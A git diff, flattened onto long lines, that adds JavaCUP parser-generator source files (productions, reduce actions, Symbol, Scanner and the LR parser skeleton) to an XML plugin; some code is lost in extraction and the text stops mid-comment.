java_cup.runtime.Symbol(2/*package_spec*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-3)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 4: // NT$1 ::= + { + Object RESULT = null; + + /* save the package name */ + emit.package_name = multipart_name; + + /* reset the accumulated multipart name */ + multipart_name = new String(); + + CUP$parser$result = new java_cup.runtime.Symbol(44/*NT$1*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 3: // spec ::= error symbol_list precedence_list start_spec production_list + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(1/*spec*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-4)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 2: // spec ::= NT$0 package_spec import_list code_parts symbol_list precedence_list start_spec production_list + { + Object RESULT = null; + // propagate RESULT from NT$0 + if ( ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-7)).value != null ) + RESULT = (Object) ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-7)).value; + + CUP$parser$result = new java_cup.runtime.Symbol(1/*spec*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-7)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 1: // NT$0 ::= + { + Object RESULT = null; + + /* declare "error" as a terminal */ + symbols.put("error", new symbol_part(terminal.error)); + + /* declare start non terminal */ + non_terms.put("$START", non_terminal.START_nt); + + CUP$parser$result = new java_cup.runtime.Symbol(43/*NT$0*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 0: // $START ::= spec EOF + { + Object RESULT = null; + int start_valleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left; + int start_valright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).right; + Object start_val = (Object)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + RESULT = start_val; + CUP$parser$result = new java_cup.runtime.Symbol(0/*$START*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + /* ACCEPT */ + CUP$parser$parser.done_parsing(); + return CUP$parser$result; + + /* . . . . . .*/ + default: + throw new Exception( + "Invalid action number found in internal parse table"); + + } + } +} + diff --git a/base_plugins/net.heartsome.xml/src/java_cup/production.java b/base_plugins/net.heartsome.xml/src/java_cup/production.java new file mode 100644 index 0000000..ec5c857 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/production.java @@ -0,0 +1,756 @@ + +package java_cup; + +import java.util.Hashtable; +import java.util.Enumeration; + +/** This class represents a production in the grammar. It contains + * a LHS non terminal, and an array of RHS symbols. As various + * transformations are done on the RHS of the production, it may shrink. + * As a result a separate length is always maintained to indicate how much + * of the RHS array is still valid.

    + * + * I addition to construction and manipulation operations, productions provide + * methods for factoring out actions (see remove_embedded_actions()), for + * computing the nullability of the production (i.e., can it derive the empty + * string, see check_nullable()), and operations for computing its first + * set (i.e., the set of terminals that could appear at the beginning of some + * string derived from the production, see check_first_set()). + * + * @see java_cup.production_part + * @see java_cup.symbol_part + * @see java_cup.action_part + * @version last updated: 7/3/96 + * @author Frank Flannery + */ + +public class production { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Full constructor. This constructor accepts a LHS non terminal, + * an array of RHS parts (including terminals, non terminals, and + * actions), and a string for a final reduce action. It does several + * manipulations in the process of creating a production object. + * After some validity checking it translates labels that appear in + * actions into code for accessing objects on the runtime parse stack. + * It them merges adjacent actions if they appear and moves any trailing + * action into the final reduce actions string. Next it removes any + * embedded actions by factoring them out with new action productions. + * Finally it assigns a unique index to the production.

    + * + * Factoring out of actions is accomplished by creating new "hidden" + * non terminals. For example if the production was originally:

    +   *    A ::= B {action} C D
    +   *  
    + * then it is factored into two productions:
    +   *    A ::= B X C D
    +   *    X ::= {action}
    +   *  
    + * (where X is a unique new non terminal). This has the effect of placing + * all actions at the end where they can be handled as part of a reduce by + * the parser. + */ + public production( + non_terminal lhs_sym, + production_part rhs_parts[], + int rhs_l, + String action_str) + throws internal_error + { + int i; + action_part tail_action; + String declare_str; + int rightlen = rhs_l; + + /* remember the length */ + if (rhs_l >= 0) + _rhs_length = rhs_l; + else if (rhs_parts != null) + _rhs_length = rhs_parts.length; + else + _rhs_length = 0; + + /* make sure we have a valid left-hand-side */ + if (lhs_sym == null) + throw new internal_error( + "Attempt to construct a production with a null LHS"); + + /* I'm not translating labels anymore, I'm adding code to declare + labels as valid variables. This way, the users code string is + untouched + 6/96 frankf */ + + /* check if the last part of the right hand side is an action. If + it is, it won't be on the stack, so we don't want to count it + in the rightlen. Then when we search down the stack for a + Symbol, we don't try to search past action */ + + if (rhs_l > 0) { + if (rhs_parts[rhs_l - 1].is_action()) { + rightlen = rhs_l - 1; + } else { + rightlen = rhs_l; + } + } + + /* get the generated declaration code for the necessary labels. */ + declare_str = declare_labels( + rhs_parts, rightlen, action_str); + + if (action_str == null) + action_str = declare_str; + else + action_str = declare_str + action_str; + + /* count use of lhs */ + lhs_sym.note_use(); + + /* create the part for left-hand-side */ + _lhs = new symbol_part(lhs_sym); + + /* merge adjacent actions (if any) */ + _rhs_length = merge_adjacent_actions(rhs_parts, _rhs_length); + + /* strip off any trailing action */ + tail_action = strip_trailing_action(rhs_parts, _rhs_length); + if (tail_action != null) _rhs_length--; + + /* Why does this run through the right hand side happen + over and over? here a quick combination of two + prior runs plus one I wanted of my own + frankf 6/25/96 */ + /* allocate and copy over the right-hand-side */ + /* count use of each rhs symbol */ + _rhs = new production_part[_rhs_length]; + for (i=0; i<_rhs_length; i++) { + _rhs[i] = rhs_parts[i]; + if (!_rhs[i].is_action()) { + ((symbol_part)_rhs[i]).the_symbol().note_use(); + if (((symbol_part)_rhs[i]).the_symbol() instanceof terminal) { + _rhs_prec = + ((terminal)((symbol_part)_rhs[i]).the_symbol()).precedence_num(); + _rhs_assoc = + ((terminal)((symbol_part)_rhs[i]).the_symbol()).precedence_side(); + } + } + } + + /*now action string is really declaration string, so put it in front! + 6/14/96 frankf */ + if (action_str == null) action_str = ""; + if (tail_action != null && tail_action.code_string() != null) + action_str = action_str + "\t\t" + tail_action.code_string(); + + /* stash the action */ + _action = new action_part(action_str); + + /* rewrite production to remove any embedded actions */ + remove_embedded_actions(); + + /* assign an index */ + _index = next_index++; + + /* put us in the global collection of productions */ + _all.put(new Integer(_index),this); + + /* put us in the production list of the lhs non terminal */ + lhs_sym.add_production(this); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Constructor with no action string. */ + public production( + non_terminal lhs_sym, + production_part rhs_parts[], + int rhs_l) + throws internal_error + { + this(lhs_sym,rhs_parts,rhs_l,null); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /* Constructor with precedence and associativity of production + contextually define */ + public production( + non_terminal lhs_sym, + production_part rhs_parts[], + int rhs_l, + String action_str, + int prec_num, + int prec_side) + throws internal_error + { + this(lhs_sym,rhs_parts,rhs_l,action_str); + + /* set the precedence */ + set_precedence_num(prec_num); + set_precedence_side(prec_side); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /* Constructor w/ no action string and contextual precedence + defined */ + public production( + non_terminal lhs_sym, + production_part rhs_parts[], + int rhs_l, + int prec_num, + int prec_side) + throws internal_error + { + this(lhs_sym,rhs_parts,rhs_l,null); + /* set the precedence */ + set_precedence_num(prec_num); + set_precedence_side(prec_side); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /*-----------------------------------------------------------*/ + /*--- (Access to) Static (Class) Variables ------------------*/ + /*-----------------------------------------------------------*/ + + + /** Table of all productions. Elements are stored using their index as + * the key. + */ + protected static Hashtable _all = new Hashtable(); + + /** Access to all productions. */ + public static Enumeration all() {return _all.elements();} + + /** Lookup a production by index. */ + public static production find(int indx) { + return (production) _all.get(new Integer(indx)); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Total number of productions. */ + public static int number() {return _all.size();} + + /** Static counter for assigning unique index numbers. */ + protected static int next_index; + + /*-----------------------------------------------------------*/ + /*--- (Access to) Instance Variables ------------------------*/ + /*-----------------------------------------------------------*/ + + /** The left hand side non-terminal. */ + protected symbol_part _lhs; + + /** The left hand side non-terminal. */ + public symbol_part lhs() {return _lhs;} + + + /** The precedence of the rule */ + protected int _rhs_prec = -1; + protected int _rhs_assoc = -1; + + /** Access to the precedence of the rule */ + public int precedence_num() { return _rhs_prec; } + public int precedence_side() { return _rhs_assoc; } + + /** Setting the precedence of a rule */ + public void set_precedence_num(int prec_num) { + _rhs_prec = prec_num; + } + public void set_precedence_side(int prec_side) { + _rhs_assoc = prec_side; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** A collection of parts for the right hand side. */ + protected production_part _rhs[]; + + /** Access to the collection of parts for the right hand side. */ + public production_part rhs(int indx) throws internal_error + { + if (indx >= 0 && indx < _rhs_length) + return _rhs[indx]; + else + throw new internal_error( + "Index out of range for right hand side of production"); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** How much of the right hand side array we are presently using. */ + protected int _rhs_length; + + /** How much of the right hand side array we are presently using. */ + public int rhs_length() {return _rhs_length;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** An action_part containing code for the action to be performed when we + * reduce with this production. + */ + protected action_part _action; + + /** An action_part containing code for the action to be performed when we + * reduce with this production. + */ + public action_part action() {return _action;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Index number of the production. */ + protected int _index; + + /** Index number of the production. */ + public int index() {return _index;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Count of number of reductions using this production. */ + protected int _num_reductions = 0; + + /** Count of number of reductions using this production. */ + public int num_reductions() {return _num_reductions;} + + /** Increment the count of reductions with this non-terminal */ + public void note_reduction_use() {_num_reductions++;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Is the nullability of the production known or unknown? */ + protected boolean _nullable_known = false; + + /** Is the nullability of the production known or unknown? */ + public boolean nullable_known() {return _nullable_known;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Nullability of the production (can it derive the empty string). */ + protected boolean _nullable = false; + + /** Nullability of the production (can it derive the empty string). */ + public boolean nullable() {return _nullable;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** First set of the production. This is the set of terminals that + * could appear at the front of some string derived from this production. + */ + protected terminal_set _first_set = new terminal_set(); + + /** First set of the production. This is the set of terminals that + * could appear at the front of some string derived from this production. + */ + public terminal_set first_set() {return _first_set;} + + /*-----------------------------------------------------------*/ + /*--- Static Methods ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Determine if a given character can be a label id starter. + * @param c the character in question. + */ + protected static boolean is_id_start(char c) + { + return (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || (c == '_'); + + //later need to handle non-8-bit chars here + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Determine if a character can be in a label id. + * @param c the character in question. + */ + protected static boolean is_id_char(char c) + { + return is_id_start(c) || (c >= '0' && c <= '9'); + } + + /*-----------------------------------------------------------*/ + /*--- General Methods ---------------------------------------*/ + /*-----------------------------------------------------------*/ + + + /** Return label declaration code + * @param labelname the label name + * @param stack_type the stack type of label? + * @author frankf + */ + protected String make_declaration( + String labelname, + String stack_type, + int offset) + { + String ret; + + /* Put in the left/right value labels */ + if (emit.lr_values()) + ret = "\t\tint " + labelname + "left = ((java_cup.runtime.Symbol)" + + emit.pre("stack") + ".elementAt(" + emit.pre("top") + + "-" + offset + ")).left;\n" + + "\t\tint " + labelname + "right = ((java_cup.runtime.Symbol)" + + emit.pre("stack") + ".elementAt(" + emit.pre("top") + + "-" + offset + ")).right;\n"; + else ret = ""; + + /* otherwise, just declare label. */ + return ret + "\t\t" + stack_type + " " + labelname + " = (" + stack_type + + ")((" + "java_cup.runtime.Symbol) " + emit.pre("stack") + ".elementAt(" + emit.pre("top") + + "-" + offset + ")).value;\n"; + + } + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Declare label names as valid variables within the action string + * @param rhs array of RHS parts. + * @param rhs_len how much of rhs to consider valid. + * @param final_action the final action string of the production. + * @param lhs_type the object type associated with the LHS symbol. + */ + protected String declare_labels( + production_part rhs[], + int rhs_len, + String final_action) + { + String declaration = ""; + + symbol_part part; + action_part act_part; + int pos; + + /* walk down the parts and extract the labels */ + for (pos = 0; pos < rhs_len; pos++) + { + if (!rhs[pos].is_action()) + { + part = (symbol_part)rhs[pos]; + + /* if it has a label, make declaration! */ + if (part.label() != null) + { + declaration = declaration + + make_declaration(part.label(), part.the_symbol().stack_type(), + rhs_len-pos-1); + } + } + } + return declaration; + } + + + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Helper routine to merge adjacent actions in a set of RHS parts + * @param rhs_parts array of RHS parts. + * @param len amount of that array that is valid. + * @return remaining valid length. + */ + protected int merge_adjacent_actions(production_part rhs_parts[], int len) + { + int from_loc, to_loc, merge_cnt; + + /* bail out early if we have no work to do */ + if (rhs_parts == null || len == 0) return 0; + + merge_cnt = 0; + to_loc = -1; + for (from_loc=0; from_loc + * A ::= B {action1} C {action2} D + * + * then it will be factored into:
    +   *    A ::= B NT$1 C NT$2 D
    +   *    NT$1 ::= {action1}
    +   *    NT$2 ::= {action2}
    +   *  
    + * where NT$1 and NT$2 are new system created non terminals. + */ + + /* the declarations added to the parent production are also passed along, + as they should be perfectly valid in this code string, since it + was originally a code string in the parent, not on its own. + frank 6/20/96 */ + protected void remove_embedded_actions( + + ) throws internal_error + { + non_terminal new_nt; + production new_prod; + String declare_str; + + /* walk over the production and process each action */ + for (int act_loc = 0; act_loc < rhs_length(); act_loc++) + if (rhs(act_loc).is_action()) + { + + + declare_str = declare_labels( + _rhs, act_loc, ""); + /* create a new non terminal for the action production */ + new_nt = non_terminal.create_new(); + new_nt.is_embedded_action = true; /* 24-Mar-1998, CSA */ + + /* create a new production with just the action */ + new_prod = new action_production(this, new_nt, null, 0, + declare_str + ((action_part)rhs(act_loc)).code_string()); + + /* replace the action with the generated non terminal */ + _rhs[act_loc] = new symbol_part(new_nt); + } + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Check to see if the production (now) appears to be nullable. + * A production is nullable if its RHS could derive the empty string. + * This results when the RHS is empty or contains only non terminals + * which themselves are nullable. + */ + public boolean check_nullable() throws internal_error + { + production_part part; + symbol sym; + int pos; + + /* if we already know bail out early */ + if (nullable_known()) return nullable(); + + /* if we have a zero size RHS we are directly nullable */ + if (rhs_length() == 0) + { + /* stash and return the result */ + return set_nullable(true); + } + + /* otherwise we need to test all of our parts */ + for (pos=0; pos + * + * This is an abstract class. + * + * @see java_cup.production + * @version last updated: 11/25/95 + * @author Scott Hudson + */ +public abstract class production_part { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Simple constructor. */ + public production_part(String lab) + { + _label = lab; + } + + /*-----------------------------------------------------------*/ + /*--- (Access to) Instance Variables ------------------------*/ + /*-----------------------------------------------------------*/ + + /** Optional label for referring to the part within an action (null for + * no label). + */ + protected String _label; + + /** Optional label for referring to the part within an action (null for + * no label). + */ + public String label() {return _label;} + + /*-----------------------------------------------------------*/ + /*--- General Methods ---------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Indicate if this is an action (rather than a symbol). Here in the + * base class, we don't this know yet, so its an abstract method. + */ + public abstract boolean is_action(); + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Equality comparison. */ + public boolean equals(production_part other) + { + if (other == null) return false; + + /* compare the labels */ + if (label() != null) + return label().equals(other.label()); + else + return other.label() == null; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Generic equality comparison. */ + public boolean equals(Object other) + { + if (!(other instanceof production_part)) + return false; + else + return equals((production_part)other); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Produce a hash code. */ + public int hashCode() + { + return label()==null ? 0 : label().hashCode(); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Convert to a string. */ + public String toString() + { + if (label() != null) + return label() + ":"; + else + return " "; + } + + /*-----------------------------------------------------------*/ + +} diff --git a/base_plugins/net.heartsome.xml/src/java_cup/reduce_action.java b/base_plugins/net.heartsome.xml/src/java_cup/reduce_action.java new file mode 100644 index 0000000..bb8fb77 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/reduce_action.java @@ -0,0 +1,84 @@ + +package java_cup; + +/** This class represents a reduce action within the parse table. + * The action simply stores the production that it reduces with and + * responds to queries about its type. + * + * @version last updated: 11/25/95 + * @author Scott Hudson + */ +public class reduce_action extends parse_action { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Simple constructor. + * @param prod the production this action reduces with. + */ + public reduce_action(production prod ) throws internal_error + { + /* sanity check */ + if (prod == null) + throw new internal_error( + "Attempt to create a reduce_action with a null production"); + + _reduce_with = prod; + } + + /*-----------------------------------------------------------*/ + /*--- (Access to) Instance Variables ------------------------*/ + /*-----------------------------------------------------------*/ + + /** The production we reduce with. */ + protected production _reduce_with; + + /** The production we reduce with. */ + public production reduce_with() {return _reduce_with;} + + /*-----------------------------------------------------------*/ + /*--- General Methods ---------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Quick access to type of action. */ + public int kind() {return REDUCE;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Equality test. */ + public boolean equals(reduce_action other) + { + return other != null && other.reduce_with() == reduce_with(); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Generic equality test. */ + public boolean equals(Object other) + { + if (other instanceof reduce_action) + return equals((reduce_action)other); + else + return false; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Compute a hash code. */ + public int hashCode() + { + /* use the hash code of the production we are reducing with */ + return reduce_with().hashCode(); + } + + + /** Convert to string. */ + public String toString() + { + return "REDUCE(with prod " + reduce_with().index() + ")"; + } + + /*-----------------------------------------------------------*/ + +} diff --git a/base_plugins/net.heartsome.xml/src/java_cup/runtime/Scanner.java b/base_plugins/net.heartsome.xml/src/java_cup/runtime/Scanner.java new file mode 100644 index 0000000..2c84dde --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/runtime/Scanner.java @@ -0,0 +1,25 @@ +package java_cup.runtime; + +/** + * Defines the Scanner interface, which CUP uses in the default + * implementation of lr_parser.scan(). Integration + * of scanners implementing Scanner is facilitated. + * + * @version last updated 23-Jul-1999 + * @author David MacMahon + */ + +/* ************************************************* + Interface Scanner + + Declares the next_token() method that should be + implemented by scanners. This method is typically + called by lr_parser.scan(). End-of-file can be + indicated either by returning + new Symbol(lr_parser.EOF_sym()) or + null. + ***************************************************/ +public interface Scanner { + /** Return the next token, or null on end-of-file. */ + public Symbol next_token() throws java.lang.Exception; +} diff --git a/base_plugins/net.heartsome.xml/src/java_cup/runtime/Symbol.java b/base_plugins/net.heartsome.xml/src/java_cup/runtime/Symbol.java new file mode 100644 index 0000000..817c821 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/runtime/Symbol.java @@ -0,0 +1,105 @@ +package java_cup.runtime; + +/** + * Defines the Symbol class, which is used to represent all terminals + * and nonterminals while parsing. The lexer should pass CUP Symbols + * and CUP returns a Symbol. + * + * @version last updated: 7/3/96 + * @author Frank Flannery + */ + +/* **************************************************************** + Class Symbol + what the parser expects to receive from the lexer. + the token is identified as follows: + sym: the symbol type + parse_state: the parse state. + value: is the lexical value of type Object + left : is the left position in the original input file + right: is the right position in the original input file +******************************************************************/ + +public class Symbol { + +/******************************* + Constructor for l,r values + *******************************/ + + public Symbol(int id, int l, int r, Object o) { + this(id); + left = l; + right = r; + value = o; + } + +/******************************* + Constructor for no l,r values +********************************/ + + public Symbol(int id, Object o) { + this(id, -1, -1, o); + } + +/***************************** + Constructor for no value + ***************************/ + + public Symbol(int id, int l, int r) { + this(id, l, r, null); + } + +/*********************************** + Constructor for no value or l,r +***********************************/ + + public Symbol(int sym_num) { + this(sym_num, -1); + left = -1; + right = -1; + value = null; + } + +/*********************************** + Constructor to give a start state +***********************************/ + Symbol(int sym_num, int state) + { + sym = sym_num; + parse_state = state; + } + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** The symbol number of the terminal or non terminal being represented */ + public int sym; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** The parse state to be recorded on the parse stack with this symbol. + * This field is for the convenience of the parser and shouldn't be + * modified except by the parser. + */ + public int parse_state; + /** This allows us to catch some errors caused by scanners recycling + * symbols. For the use of the parser only. [CSA, 23-Jul-1999] */ + boolean used_by_parser = false; + +/******************************* + The data passed to parser + *******************************/ + + public int left, right; + public Object value; + + /***************************** + Printing this token out. (Override for pretty-print). + ****************************/ + public String toString() { return "#"+sym; } +} + + + + + + diff --git a/base_plugins/net.heartsome.xml/src/java_cup/runtime/lr_parser.java b/base_plugins/net.heartsome.xml/src/java_cup/runtime/lr_parser.java new file mode 100644 index 0000000..6a17868 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/runtime/lr_parser.java @@ -0,0 +1,1238 @@ + +package java_cup.runtime; + +import java.util.Stack; + +/** This class implements a skeleton table driven LR parser. In general, + * LR parsers are a form of bottom up shift-reduce parsers. Shift-reduce + * parsers act by shifting input onto a parse stack until the Symbols + * matching the right hand side of a production appear on the top of the + * stack. Once this occurs, a reduce is performed. This involves removing + * the Symbols corresponding to the right hand side of the production + * (the so called "handle") and replacing them with the non-terminal from + * the left hand side of the production.

    + * + * To control the decision of whether to shift or reduce at any given point, + * the parser uses a state machine (the "viable prefix recognition machine" + * built by the parser generator). The current state of the machine is placed + * on top of the parse stack (stored as part of a Symbol object representing + * a terminal or non terminal). The parse action table is consulted + * (using the current state and the current lookahead Symbol as indexes) to + * determine whether to shift or to reduce. When the parser shifts, it + * changes to a new state by pushing a new Symbol (containing a new state) + * onto the stack. When the parser reduces, it pops the handle (right hand + * side of a production) off the stack. This leaves the parser in the state + * it was in before any of those Symbols were matched. Next the reduce-goto + * table is consulted (using the new state and current lookahead Symbol as + * indexes) to determine a new state to go to. The parser then shifts to + * this goto state by pushing the left hand side Symbol of the production + * (also containing the new state) onto the stack.

    + * + * This class actually provides four LR parsers. The methods parse() and + * debug_parse() provide two versions of the main parser (the only difference + * being that debug_parse() emits debugging trace messages as it parses). + * In addition to these main parsers, the error recovery mechanism uses two + * more. One of these is used to simulate "parsing ahead" in the input + * without carrying out actions (to verify that a potential error recovery + * has worked), and the other is used to parse through buffered "parse ahead" + * input in order to execute all actions and re-synchronize the actual parser + * configuration.

    + * + * This is an abstract class which is normally filled out by a subclass + * generated by the JavaCup parser generator. In addition to supplying + * the actual parse tables, generated code also supplies methods which + * invoke various pieces of user supplied code, provide access to certain + * special Symbols (e.g., EOF and error), etc. Specifically, the following + * abstract methods are normally supplied by generated code: + *

    + *
    short[][] production_table() + *
    Provides a reference to the production table (indicating the index of + * the left hand side non terminal and the length of the right hand side + * for each production in the grammar). + *
    short[][] action_table() + *
    Provides a reference to the parse action table. + *
    short[][] reduce_table() + *
    Provides a reference to the reduce-goto table. + *
    int start_state() + *
    Indicates the index of the start state. + *
    int start_production() + *
    Indicates the index of the starting production. + *
    int EOF_sym() + *
    Indicates the index of the EOF Symbol. + *
    int error_sym() + *
    Indicates the index of the error Symbol. + *
    Symbol do_action() + *
    Executes a piece of user supplied action code. This always comes at + * the point of a reduce in the parse, so this code also allocates and + * fills in the left hand side non terminal Symbol object that is to be + * pushed onto the stack for the reduce. + *
    void init_actions() + *
    Code to initialize a special object that encapsulates user supplied + * actions (this object is used by do_action() to actually carry out the + * actions). + *
    + * + * In addition to these routines that must be supplied by the + * generated subclass there are also a series of routines that may + * be supplied. These include: + *
    + *
    Symbol scan() + *
    Used to get the next input Symbol from the scanner. + *
    Scanner getScanner() + *
    Used to provide a scanner for the default implementation of + * scan(). + *
    int error_sync_size() + *
    This determines how many Symbols past the point of an error + * must be parsed without error in order to consider a recovery to + * be valid. This defaults to 3. Values less than 2 are not + * recommended. + *
    void report_error(String message, Object info) + *
    This method is called to report an error. The default implementation + * simply prints a message to System.err and where the error occurred. + * This method is often replaced in order to provide a more sophisticated + * error reporting mechanism. + *
    void report_fatal_error(String message, Object info) + *
    This method is called when a fatal error that cannot be recovered from + * is encountered. In the default implementation, it calls + * report_error() to emit a message, then throws an exception. + *
    void syntax_error(Symbol cur_token) + *
    This method is called as soon as syntax error is detected (but + * before recovery is attempted). In the default implementation it + * invokes: report_error("Syntax error", null); + *
    void unrecovered_syntax_error(Symbol cur_token) + *
    This method is called if syntax error recovery fails. In the default + * implementation it invokes:
    + * report_fatal_error("Couldn't repair and continue parse", null); + *
    + * + * @see java_cup.runtime.Symbol + * @see java_cup.runtime.Symbol + * @see java_cup.runtime.virtual_parse_stack + * @version last updated: 7/3/96 + * @author Frank Flannery + */ + +public abstract class lr_parser { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Simple constructor. */ + public lr_parser() + { + /* nothing to do here */ + } + + /** Constructor that sets the default scanner. [CSA/davidm] */ + public lr_parser(Scanner s) { + this(); /* in case default constructor someday does something */ + setScanner(s); + } + + /*-----------------------------------------------------------*/ + /*--- (Access to) Static (Class) Variables ------------------*/ + /*-----------------------------------------------------------*/ + + /** The default number of Symbols after an error we much match to consider + * it recovered from. + */ + protected final static int _error_sync_size = 3; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** The number of Symbols after an error we much match to consider it + * recovered from. + */ + protected int error_sync_size() {return _error_sync_size; } + + /*-----------------------------------------------------------*/ + /*--- (Access to) Instance Variables ------------------------*/ + /*-----------------------------------------------------------*/ + + /** Table of production information (supplied by generated subclass). + * This table contains one entry per production and is indexed by + * the negative-encoded values (reduce actions) in the action_table. + * Each entry has two parts, the index of the non-terminal on the + * left hand side of the production, and the number of Symbols + * on the right hand side. + */ + public abstract short[][] production_table(); + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** The action table (supplied by generated subclass). This table is + * indexed by state and terminal number indicating what action is to + * be taken when the parser is in the given state (i.e., the given state + * is on top of the stack) and the given terminal is next on the input. + * States are indexed using the first dimension, however, the entries for + * a given state are compacted and stored in adjacent index, value pairs + * which are searched for rather than accessed directly (see get_action()). + * The actions stored in the table will be either shifts, reduces, or + * errors. Shifts are encoded as positive values (one greater than the + * state shifted to). Reduces are encoded as negative values (one less + * than the production reduced by). Error entries are denoted by zero. + * + * @see java_cup.runtime.lr_parser#get_action + */ + public abstract short[][] action_table(); + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** The reduce-goto table (supplied by generated subclass). This + * table is indexed by state and non-terminal number and contains + * state numbers. States are indexed using the first dimension, however, + * the entries for a given state are compacted and stored in adjacent + * index, value pairs which are searched for rather than accessed + * directly (see get_reduce()). When a reduce occurs, the handle + * (corresponding to the RHS of the matched production) is popped off + * the stack. The new top of stack indicates a state. This table is + * then indexed by that state and the LHS of the reducing production to + * indicate where to "shift" to. + * + * @see java_cup.runtime.lr_parser#get_reduce + */ + public abstract short[][] reduce_table(); + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** The index of the start state (supplied by generated subclass). */ + public abstract int start_state(); + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** The index of the start production (supplied by generated subclass). */ + public abstract int start_production(); + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** The index of the end of file terminal Symbol (supplied by generated + * subclass). + */ + public abstract int EOF_sym(); + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** The index of the special error Symbol (supplied by generated subclass). */ + public abstract int error_sym(); + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Internal flag to indicate when parser should quit. */ + protected boolean _done_parsing = false; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** This method is called to indicate that the parser should quit. This is + * normally called by an accept action, but can be used to cancel 